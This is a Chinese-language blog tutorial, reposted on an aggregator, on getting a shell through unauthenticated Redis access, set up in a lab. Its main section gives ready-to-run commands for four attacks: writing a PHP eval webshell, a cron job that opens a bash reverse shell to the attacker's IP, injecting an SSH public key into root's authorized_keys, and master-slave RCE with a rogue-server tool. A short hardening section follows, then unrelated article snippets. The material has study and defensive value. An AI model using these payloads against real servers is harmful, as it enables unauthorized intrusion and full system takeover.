redis未授权getshell整合利用

一、redis环境搭建


Redis下载地址:http://download.redis.io/releases/redis-4.0.2.tar.gz

1.靶机安装redis-centos7

第一步:下载wget
yum -y install wget 
第二步:下载redis
wget http://download.redis.io/redis-stable.tar.gz
第三步:解压redis
tar -zxvf redis-stable.tar.gz 
第四步:解压后需要编译
make
make报错:make MALLOC=libc     make distclean
第五步:进入src目录,将redis-server复制到/usr/bin目录下(这样启动redis-server就不用每次都进入安装目录了)
cp redis-server /usr/bin
第六步:将redis配置文件复制到/etc目录下
cp redis.conf /etc
第七步:启动redis服务器
redis-server /etc/redis.conf


1、yum -y install wget 下载wget


2、下载redis
wget http://download.redis.io/redis-stable.tar.gz


3、解压redis
tar -zxvf redis-stable.tar.gz


4、进入到redis-stable 目录后,使用make编译

5.、如果出现如下图所示提示 “Hint: It’s a good idea to run ‘make test’ 😉”,代表编译成功

6、进入src目录,将redis-server复制到/usr/bin目录下(这样启动redis-server就不用每次都进入安装目录了)


7、回到redis-stable将redis配置文件复制到/etc目录下

8、启动redis服务器redis-server /etc/redis.conf


2、攻击机安装redis-cli-kali

#下载redis
wget http://download.redis.io/redis-stable.tar.gz#解压redis
tar -zxvf redis-stable.tar.gz#进入redis-stable解压后需要编译
make
make报错:make MALLOC=libc     make distclean#进入src目录,将redis-cli复制到/usr/bin目录下(这样启动redis-cli就不用每次都进入安装目录了)
cp redis-cli /usr/bin#常规连接指令redis-cli -h 目标主机ip地址 -p 端口号  


1、下载redis
wget http://download.redis.io/redis-stable.tar.gz

2、解压redis
tar -zxvf redis-stable.tar.gz

3、进入redis-stable解压后需要编译

4、如果出现如下图所示提示 “Hint: It’s a good idea to run ‘make test’ 😉”,代表编译成功

5、进入src目录,将redis-cli复制到/usr/bin目录下(这样启动redis-cli就不用每次都进入安装目录了)
cp redis-cli /usr/bin

6、常规连接指令
redis -cli -h 目标主机ip地址 -p 端口号

3、错误排查


现象描述:
使用namp探测端口,探测攻击机能否连接,通过测试发现,连接不上。

解决方法:

1、检查redis是否启动

ps -ef | grep redis 

2、关闭防火墙,并永久性开启自禁止

systemctl stop firewalld.service   #关闭防火墙
systemctl disable firewalld.service  #并永久性开启自禁止


3、如果上面都没有问题,外部还是连接不上,修改/etc/redis.conf配置文件,设置如下

bind 127.0.0.1 ::1
bind 192.168.xx.xx     #将服务器IP写入
protected-mode  no     #将yes改成no


4、重新启动一下redis,测试连接正常

redis-server /etc/redis.conf

二、redis漏洞原理


Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作 。

三、拓扑图

四、redis四种getshell方式


1、直接写入shell脚本


1.1 前提条件

1、低版本或者enable-protected-config yes

2、知道网站绝对路径,并且需要增删改查权限

 获取网站路径方式: 1、报错 2、phpinfo 3、配置文件 4、 数据库 5、相关数据泄漏

3、root启动redis

4、redis弱密码或者无密码

1.2 redis写入shell

命令:

redis:6379> config set dir /var/www/html/
redis:6379> config set dbfilename shell.php
redis:6379> set x "<?php phpinfo();eval($_POST['ant']);?>"
redis:6379> save

测试语句截图:

测试结果:

1.3 注意


133行no改为yes,只有这样才可以修改配置文件


 

如果不修改这一步,会报错
(error) ERR CONFIG SET failed (possibly related to argument ‘dir’) - can’t set protected config


当然,如果你没有这一行,证明你的版本没有此保护,可以忽略这一步操作。
这是高版本redis的保护机制,所以目前redis未授权的反弹shell或是写入ssh都只能在低版本利用,同时反弹shell对系统要求也有限制,这里只成功在centos中复现成功。

2.定时任务写入反弹shell


2.1 在攻击机上监听888端口等待反弹shell

nc  -lvp 888

2.2 在redis中写入定时任务


set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.181.128/888 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save


测试语句:


测试结果: 需要等待一段时间

3 写 ssh-keygen 公钥登录服务器

3.1 原理:


SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证。
所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密,大体过程如下:


(1)客户端生成私钥和公钥,并把公钥拷贝给服务器端;
(2)客户端发起登录请求,发送自己的相关信息;
(3)服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端;
(4)客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证;
(5)服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。

3.2 条件:


1、Redis服务使用ROOT账号启动
2、服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。

3.3 攻击机kali生成公钥


3.3.1  生成公钥

3.3.2  找到公钥文件
命令:

cd /root/.ssh
ls
cat id_rsa.pub

3.4 将公钥文件上传靶机上


redis-cli -h 192.168.33.134        #连接目标主机redis
config get dir                  #检查当前保存路径
config get dbfilename              #检查保存文件名
config set dir /root/.ssh/         #设置保存路径
config set dbfilename authorized_keys #设置保存文件名
set xz "\n\n\n 公钥 \n\n\n"         #将公钥写入xz健
save                         #进行保存    

set xz "\n\n\n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDB/xUoAg9JSLUpOmh9xT5wunGPlV7+zdMHhbiphccjDn8HqRjr0EddrI6hYymaj0rcj57PQHXy0TOUP44gnVQtE0il07XHOzwvY3Suz25FE0wjK1Pb8Vsw6wU6m/GBQGXSSsui9srVA4w39yH65t4mGXnNn6H2X74x8j6csoXeDNZTNpvXgKzTA8JiczyrkxhrTQ+iR7O2ysWNkxucZCE7weD8yEqLsSpJDk37VQPqsClyK+U7uqZWEsCFmXujK/sPHPhWQ6IgmgX7JoGTATkpCRVWQh5vowznHMw2pYdwsc30+CUCzrUvQ/i1V2k3DXpVW7iqS+DDKrXp/uXRjwzDVl2w4cdBnaxxEUWf18tmObMfmITOYB/w1CLjzbVHkrzAFUpmeuptNgDedon8+FYrWiy8R7HZ1TyN5ksQ0eQUXzAoW+48qYAF6GvZFMryevfUIzAaPf6h/n8X2hPRiiTav3z4BofHPQEVwk38QQguwoKixOkgbn20+4GBD5P9/DM= root@DESKTOP-GLKEQ3E \n\n\n" 

测试语句:

3.5 利用私钥远程登录redis的22端口

ssh  -i  /root/.ssh/id_rsa  root@xx.xx.xx.xx

3.6 服务器开启ssh

[root@host ~]# vi /etc/ssh/sshd_config
下面两行打开注释
PubkeyAuthentication yes
# 重启sshd服务
[root@host ~]# systemctl restart sshd.service
[root@host ~]# systemctl status sshd.service


4 Redis主从复制getshell


4.1 原理

Redis如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上,然后在从机上加载so文件,我们就可以执行拓展的新命令了。

4.2 条件

Redis 版本(4.x~5.0.5)(新增模块功能,可以通过C语言并编译出恶意.so文件)
redis弱密码或者无密码
root启动redis

4.3 攻击主机kail操作

kali下载利用工具https://github.com/n0b0dyCN/redis-rogue-server

 wget https://github.com/n0b0dyCN/redis-rogue-server

交互式shell

python3 redis-rogue-server.py --rhost 192.168.181.89 --lhost 192.168.181.129 --exp module.so


根据提示输入i进入交互shell
反弹shell

python3 redis-rogue-server.py --rhost 192.168.33.134 --lhost 192.168.33.131 --exp module.so
根据提示输入r,接着输入ip和端口进行反弹

ps:redis主从RCE打多了会出现redis瘫痪的情况,所以不到万不得已,尽量不要打主从

五、修复建议


1)禁止一些高危命令(重启redis才能生效)

修改 redis.conf 文件,禁用远程修改 DB 文件地址
rename-command FLUSHALL “”
rename-command CONFIG “”
rename-command EVAL “”
或者通过修改redis.conf文件,改变这些高危命令的名称
rename-command FLUSHALL “name1”
rename-command CONFIG “name2”
rename-command EVAL “name3”


2)以低权限运行 Redis 服务(重启redis才能生效)

为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
groupadd -r redis && useradd -r -g redis redis


3)为 Redis 添加密码验证(重启redis才能生效)

修改 redis.conf 文件,添加
requirepass mypassword
(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)


4)禁止外网访问 Redis(重启redis才能生效)

修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
bind 127.0.0.1
在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错。


5)修改默认端口

修改配置文件redis.conf文件
Port 6379
默认端口是6379,可以改变成其他端口(不要冲突就好)


6)保证 authorized_keys 文件的安全

为了保证安全,您应该阻止其他用户添加新的公钥。将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
chattr +i ~/.ssh/authorized_keys
然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:
chattr +i ~/.ssh


7)设置防火墙策略

如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。

学习记录

原文链接:https://blog.csdn.net/qq_56607768/article/details/130337729

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/26698.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Google Chrome谷歌浏览器怎么立刻更新书签

在地址栏输入: chrome://sync 点击Trigger GetUpdates按钮&#xff0c;即可看见更新书签 如果不行&#xff0c;请重启chrome浏览器&#xff0c;再重试即可

智能座舱软件性能与可靠性的评估和改进

随着智能汽车的不断发展&#xff0c;智能座舱在性能与可靠性上暴露出体验不佳、投诉渐多的问题&#xff0c;本文从工程化的角度简述了如何构建智能座舱软件的评估框架&#xff0c;以及如何持续改进其性能和可靠性。 1. 智能座舱软件性能和可靠性表现不佳 据毕马威发布的《2023…

Python写UI自动化--playwright(元素定位)

本篇详细分享playwright如何进行打断点、元素定位、填写输入框、点击等操作 目录 一、PyCharm打断点进行调试 二、浏览器开发者模式检查元素 三、通过CSS或XPath进行定位 四、输入框输入文本操作 五、点击操作 总结 一、PyCharm打断点进行调试 如图所示&#xff0c;我们…

RK3568技术笔记 Ubuntu 安装VMware Tools

安装 VMware Tools 后可以直接使用复制粘贴功能拷贝 Ubuntu 系统和 windows 主机内的文件&#xff0c;非常方便。 开启虚拟机&#xff0c;必须要进入ubuntu系统后才能进行下面的步骤。 单击 VMware 软件中的标签“虚拟机”&#xff0c;在下拉的菜单中单击“安装VMware Tools &…

用Python绘制yolo训练结果比较图-论文需要

代码内容来自于网络用博客记录 利用训练生成的result.csv中数据&#xff0c;形成多模型的比较图。 代码中演示的是map50、map50-95、losss的比较图 import matplotlib.pyplot as plt import pandas as pd import numpy as npif __name__ __main__:# 列出待获取数据内容的…

如何通过逆向分析法挖掘真实需求?

逆向分析法从现有问题或现象出发&#xff0c;反向追溯其根本原因&#xff0c;以揭示隐藏需求和潜在问题。此方法有助于深入理解用户的真实需求&#xff0c;提高需求分析质量和效率&#xff0c;优化用户体验&#xff0c;提高用户满意度和忠诚度。如果缺乏逆行分析法&#xff0c;…

MCK主机加固系统——您的数字堡垒

在这个数字化的时代&#xff0c;信息安全如同企业的生命线&#xff0c;而MCK主机加固系统&#xff0c;就是守护这条生命线的坚固堡垒。让我为您揭开这款产品的神秘面纱&#xff0c;带您领略它如何成为企业信息安全的坚强后盾。 主机加固系统——您的数字堡垒 在网络攻击日益猖…

界面控件DevExpress WinForms垂直属性网格组件 - 拥有更灵活的UI选择(一)

DevExpress WinForms垂直&属性网格组件旨在提供UI灵活性&#xff0c;它允许用户显示数据集中的单个行或在其90度倒置网格容器中显示多行数据集。另外&#xff0c;用户可以把它用作一个属性网格&#xff0c;就像在Visual Studio IDE中那样。 P.S&#xff1a;DevExpress Win…

调度系统揭秘(上):调度系统设计思想

前言 在互联网领域中&#xff0c;几乎所有企业需要调度系统&#xff0c;主要原因是企业需要处理大量的数据&#xff0c;并且这些数据需要在不同的系统之间进行传输和处理。一部分是为了满足业务的需要&#xff0c;例如BI决策分析、图表展示、机器学习、数据挖掘&#xff1b;一…

前端项目打包部署

打包 vue-cli脚手架的前端项目&#xff0c;点击npm脚本中的第二条编译命令&#xff0c;即可将项目编译&#xff0c;生成一个dist的文件夹&#xff0c;里面存放的就是编译好的前端项目文件&#xff0c;没有脚手架就在终端敲击npm run build命令编译前端项目 部署 Nginx 介绍:…

linux配置用户

一&#xff0c;安装sudo与确保在管理员用户下 apt update apt install sudo -y 切换用户&#xff1a;密码不会显示&#xff0c;一个个输入然后回车。//图中是zfxt-->Stable用户切换 su root //root为用户名 以其他用户执行命令&#xff1a; su root ping baidu.com //su…

人工智能--制造业和农业

欢迎来到 Papicatch的博客 文章目录 &#x1f349;人工智能在制造业中的应用 &#x1f348; 应用场景及便利 &#x1f34d;生产线自动化 &#x1f34d;质量控制 &#x1f34d;预测性维护 &#x1f34d;供应链优化 &#x1f348; 技术实现及核心 &#x1f34d;机器学习和…

【复旦邱锡鹏教授《神经网络与深度学习公开课》笔记】感知器

感知器是一种非常早期的线性分类模型&#xff0c;作为一种简单的神经网络模型被提出。感知器是一种模拟生物神经元行为的机器&#xff0c;有与生物神经元相对应的部件&#xff0c;如权重&#xff08;突触&#xff09;、偏置&#xff08;阈值&#xff09;及激活函数&#xff08;…

CobaltStrike权限传递MSF

一、测试环境 操作系统&#xff1a; 1.VMware17 2.kali 6.1.0-kali5-amd64 3.Win10x64 软件&#xff1a; 1.cs4.0 2.metasploit v6.3.4-dev 二、测试思路 1.cs是一款渗透测试工具&#xff0c;但没有漏洞利用的模块&#xff0c;我们可以在拿到目标主机的权限后&#xff0c;将…

高速直线导轨驱动与控制,精准稳定的运动核心元件

直线导轨在工业生产中&#xff0c;精度和稳定性是至关重要的。而在各种机械设备中&#xff0c;高精度直线导轨是提高设备运动控制精度和平稳性的核心部件&#xff0c;当我们考虑高速运动时&#xff0c;直线导轨的精度和稳定性是非常重要的因素。 直线导轨系统中如何确保高速运动…

怎么更快捷的修改图片大小?压缩图片jpg、png、gif的快捷方法

jpg作为最常用的一种图片格式&#xff0c;在遇到图片太大问题时&#xff0c;该如何操作能够快速在压缩图片jpg的大小呢&#xff1f;图片太大无法上传时目前常见的一个使用问题&#xff0c;只有将图片处理到合适的大小才可以正常在平台上传使用&#xff0c;一般情况下想要快速解…

LLM大模型开发的一般流程

何谓大模型开发&#xff1f; 将开发以大语言模型为功能核心、通过大语言模型的强大理解能力和生成能力、结合特殊的数据或业务逻辑来提供独特功能的应用称为大模型开发。 主要功能点&#xff1a; 调用工具prompt engineering数据工程业务逻辑拆分 一般开发流程&#xff1a;…

Perl语言入门学习

引言 Perl是一种功能强大的编程语言&#xff0c;广泛用于文本处理、系统管理和Web开发。它以其灵活性和强大的正则表达式处理能力著称。本篇博客将介绍Perl的基础知识&#xff0c;并通过多个例子帮助初学者快速上手。 1. 安装Perl 在开始学习Perl之前&#xff0c;您需要确保…

Stable diffusion 3 正式开源

6月12日晚&#xff0c;著名开源大模型平台Stability AI正式开源了&#xff0c;文生图片模型Stable Diffusion 3 Medium&#xff08;以下简称“SD3-M”&#xff09;权重。 SD3-M有20亿参数&#xff0c;平均生成图片时间在2—10秒左右推理效率非常高&#xff0c;同时对硬件的需求…

贪心+构造,CF1153 C. Serval and Parenthesis Sequence

一、题目 1、题目描述 2、输入输出 2.1输入 2.2输出 3、原题链接 Problem - 1153C - Codeforces 二、解题报告 1、思路分析 对于括号匹配问题我们经典做法是左括号当成1&#xff0c;右括号当成-1 那么只要任意前缀非负且最终总和为0那么该括号序列就是合法 对于本题&…